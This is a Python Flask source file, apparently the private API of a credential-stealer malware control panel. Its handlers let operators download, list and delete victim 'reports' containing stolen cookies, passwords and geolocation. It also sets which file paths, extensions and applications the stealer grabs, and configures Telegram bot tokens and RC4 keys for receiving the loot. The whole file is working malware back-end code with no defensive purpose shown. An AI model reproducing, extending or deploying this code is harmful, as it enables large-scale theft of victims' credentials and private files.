#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Coded by L1ghtM3n@protonmail.com

# Import modules
from functools import wraps
from base64 import b64decode
from json import loads, dumps
from markupsafe import escape
from flask import \
    request, jsonify, session, redirect, url_for, send_file
# Import packages
from core.models.reports import Report
from core.models.accounts import Account
from core.models.errors import ApiErrors
from core.modules.targets import SetTargetApps
from core.modules.telegram import SetTelegramCredentials
from core.modules.encryption import SetEncryptionKey, RC4Cipher
from core.modules.grabber import \
    AddGrabberPath, DeleteGrabberPath, \
    SetGrabberExtensions, SetGrabberMaxSize

""" Check if client session is exists and valid """
def is_client_authorized() -> bool:
    # Check if session exists
    if not session:
        return False
    # Create account object
    account = Account(session["account"]["username"],
                      session["account"]["password"])
    # Check if account exists and password
    if not account.exists() or not account.login():
        session.pop("account", None)
        return False

    return True

""" Login decorator """
def login_required(function):
    @wraps(function)
    def decorated_function(*args, **kwargs):
        if not is_client_authorized():
            return redirect(url_for("login"), code=302)
        return function(*args, **kwargs)
    return decorated_function


""" 
    Get report error/success message by id 
    Result: ErrorState, Message, Report object 
"""
def get_report_state(id: int) -> tuple:
    # Check user is authorized
    if not is_client_authorized():
        return True, ApiErrors.client_not_authorized, None
    # Get report by id
    report = Report(identification=id)
    # Check if exists
    if not report.Exists():
        return True, ApiErrors.Report.not_found.format(id), None
    # Check username
    if not report.IsReportOwner(session["account"]["username"]):
        return True, ApiErrors.client_not_authorized, None
    # Done
    return False, "OK", report

""" API requests handler """
def private_api_handler(function):
    # Get account credentials
    username = escape(request.args.get("username"))
    if username == "None": # If args is empty - try get from post data
        username = escape(request.form.get("username"))
    password = escape(request.args.get("password"))
    if password == "None": # If args is empty - try get from post data
        password = escape(request.form.get("password"))

    # Create account object
    account = Account(username, password)

    # Account login function
    if function == "login":
        # Check if already logged in
        if "account" in session:
            return jsonify({"error": True,
                            "message": ApiErrors.Login.already_logged_in.format(session["account"]["username"])})
        # Check if account exists
        if not account.exists():
            return jsonify({"error": True,
                            "message": ApiErrors.Login.account_does_not_exist.format(username)})
        # Check password
        if not account.login():
            return jsonify({"error": True,
                            "message": ApiErrors.Login.wrong_password})
        # Logged in
        session["account"] = {"username": username, "password": password}  # Set session
        return jsonify({"error": False,
                        "message": ApiErrors.Login.logged_in})

    # Account logout
    elif function == "logout":
        # Session exists
        if is_client_authorized():
            # Close session
            session.pop("account", None)
        # Redirect to login page
        return redirect(url_for("login"), code=302)

    # Account register function
   
    # Account unregister function
    elif function == "unregister":
         # Check user is authorized
        if not is_client_authorized():
            return jsonify({"error": True,
                            "message": ApiErrors.client_not_authorized})
        # Unregister account
        if Account(session["account"]["username"], '').unregister():
            return jsonify({"error": False,
                            "message": ApiErrors.Register.unregistered_ok})

    # Change account password
    elif function == "change_password":
        # Check user is authorized
        if not is_client_authorized():
            return jsonify({"error": True,
                            "message": ApiErrors.client_not_authorized})
        # Get new and old password
        new_password = escape(request.form.get("new_password"))
        old_password = escape(request.form.get("old_password"))
        # Create account object from data
        account = Account(session["account"]["username"], old_password)
        # Check user is authorized
        if account.login() is False:
            return jsonify({"error": True,
                            "message": ApiErrors.client_not_authorized})
        # Change password
        account.change_password(new_password)
        # Delete session
        session.pop("account", None)
        # Done
        return jsonify({"error": False,
                        "message": ApiErrors.Register.change_password_ok})
    
    # Change account encryption key
    elif function == "change_encryption_key":
        # Check user is authorized
        if not is_client_authorized():
            return jsonify({"error": True,
                            "message": ApiErrors.client_not_authorized})
        # Get RC4 key
        rc4_key = escape(request.form.get("rc4_key"))
        SetEncryptionKey(session["account"]["username"], rc4_key)
        # Done
        return jsonify({"error": False,
                        "message": ApiErrors.Register.change_password_ok})
    
 
    # Get report
    elif function == "get_report":
        # Get report id
        report_id = request.args.get("id")
        # Get report
        error, message, report = get_report_state(report_id)
        # On error
        if error: return jsonify({"error": True,
                                  "message": message}) 
        # Send report
        filehandle, filename = report.GetArchive()
        return send_file(
            as_attachment=True,
            path_or_file=filehandle,
            attachment_filename=filename,
            mimetype="application/zip"
        )

    # Delete report from db and disk
    elif function == "del_report":
        # Check if authorized
        if not is_client_authorized():
            return jsonify({"error": True,
                            "message": ApiErrors.client_not_authorized})
        # Get report id
        report_id = request.args.get("id")
        # Get report
        error, message, report = get_report_state(report_id)
        # On error
        if error: return jsonify({"error": True,
                                  "message": message})
        # Delete
        report.DeleteReport()
        return jsonify({"error": False,
                        "message": ApiErrors.Report.deleted_ok.format(report_id)})

    # Comment report in db
    elif function == "com_report":
        # Check user is authorized
        if not is_client_authorized():
            return jsonify({"error": True,
                            "message": ApiErrors.client_not_authorized})
        # Get report id
        report_id = request.args.get("id")
        comment_t = escape(request.args.get("text"))
        # Get report
        error, message, report = get_report_state(report_id)
        # On error
        if error: return jsonify({"error": True,
                                  "message": message})
        # Comment
        report.ChangeComment(comment_t)
        return jsonify({"error": False,
                        "message": ApiErrors.Report.comment_ok})


    # Get reports list
    elif function == "get_reports":
        # Check user is authorized
        if not is_client_authorized():
            return jsonify({"error": True,
                            "message": ApiErrors.client_not_authorized})
        # Get report id
        report_id = request.args.get("id")

        # Get all reports
        if report_id is None:
            found_reports = Report.GetReports(
                                session["account"]["username"],
                                geo_data_dict=True
                            )
        # Get one report
        else:
            found_reports = Report.GetReports(
                                session["account"]["username"],
                                geo_data_dict=True,
                                identification=report_id
                            )

        # Get reports data
        reports = list(map(lambda report: 
            {
                "id": report.id, 
                "geo": report.geo_data, 
                "time": report.add_time,
                "counter": report.counter,
                "cookies": report.cookies_list, 
                "passwords": report.passwords_list, 
                "information": report.information,
                }, found_reports)
            )
        return jsonify(reports)

    # Add grabber path
    elif function == "new_grabber_path":
        # Check user is authorized
        if not is_client_authorized():
            return jsonify({"error": True,
                            "message": ApiErrors.client_not_authorized})
        # Create new
        path_value = b64decode(request.args.get("b64_value")).decode("utf8")
        AddGrabberPath(session["account"]["username"], path_value)
        return jsonify({"error": False,
                        "message": ApiErrors.Grabber.path_saved_ok})

    # Delete grabber path
    elif function == "del_grabber_path":
        # Check user is authorized
        if not is_client_authorized():
            return jsonify({"error": True,
                            "message": ApiErrors.client_not_authorized})
        # Delete
        path_value = b64decode(request.args.get("b64_value")).decode("utf8")
        DeleteGrabberPath(session["account"]["username"], path_value)
        return jsonify({"error": False,
                        "message": ApiErrors.Grabber.path_deleted_ok})

    # Delete grabber path
    elif function == "set_grabber_extensions":
        # Check user is authorized
        if not is_client_authorized():
            return jsonify({"error": True,
                            "message": ApiErrors.client_not_authorized})
        # Set new extensions and size
        extensions = loads(request.args.get("json_list"))
        max_size = int(request.args.get("size"))
        SetGrabberMaxSize(session["account"]["username"], max_size)
        SetGrabberExtensions(session["account"]["username"], extensions)
        return jsonify({"error": False,
                        "message": ApiErrors.Grabber.extensions_saved_ok})

    # Change telegram bot token and chatids
    elif function == "set_telegram_credentials":
        # Check user is authorized
        if not is_client_authorized():
            return jsonify({"error": True,
                            "message": ApiErrors.client_not_authorized})
        # Get params
        token = request.args.get("token")
        ids = loads(request.args.get("json_list"))
        # Apply settings
        SetTelegramCredentials(session["account"]["username"], token, ids)
        return jsonify({"error": False,
                        "message": ApiErrors.Register.change_telegram_ok})

    # Change stealer configuration for user
    elif function == "set_apps_collection_configuration":
        # Check user is authorized
        if not is_client_authorized():
            return jsonify({"error": True,
                            "message": ApiErrors.client_not_authorized})
        # Get params
        apps = loads(request.args.get("json_list"))
        # Apply settings
        SetTargetApps(session["account"]["username"], apps)
        return jsonify({"error": False,
                        "message": ApiErrors.Register.change_apps_ok})

    # Method does not exists
    else:
        return jsonify({"error": True,
                        "message": ApiErrors.function_does_not_exist.format(function)})
